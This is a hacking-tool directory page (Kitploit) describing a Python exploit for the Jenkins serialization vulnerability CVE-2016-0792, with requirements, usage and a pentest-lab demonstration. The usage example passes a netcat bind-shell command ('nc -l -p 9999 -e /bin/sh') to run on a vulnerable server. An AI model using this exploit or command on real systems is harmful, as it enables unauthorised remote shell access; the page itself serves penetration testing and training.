Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
jenkins-cve-2016-0792 — Exploit for Jenkins serialization vulnerability - CVE-2016-0792 | Kitploit
Tools/GitHubGitHub/jpiechowka/jenkins-cve-2016-0792
Vulnerability AnalysisCode AnalysisDynamic Code Analysis (DAST)ExploitationWeb Application ExploitationPenetration Testing
GitHubjpiechowka/jenkins-cve-2016-0792

jenkins-cve-2016-0792

Exploit for Jenkins serialization vulnerability - CVE-2016-0792

View Repository
471959 years agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Jenkins CVE-2016-0792

Exploit for Jenkins serialization vulnerability - CVE-2016-0792

Exploit database

https://www.exploit-db.com/exploits/42394/

More information can be found here

  1. Contrast Security

  2. Pentester Lab

Requirements

  1. Python 3.6.x

  2. requests library is required for this exploit to work

    sudo pip install requests

Usage

python3

from exploit import exploit

exploit(url, command)

Where url is url to jenkins server and command is command to execute

Example

exploit('http://192.168.56.101/jenkins/', '/usr/bin/nc -l -p 9999 -e /bin/sh')

This will run nc and listen on port 9999 on vulnerable machine

For demonstration purposes I will be running ISO from Pentester Lab

asciicast

Disclaimer

Using this software to attack targets without permission is illegal. I am not responsible for any damage caused by using this software against the law.

Download Tool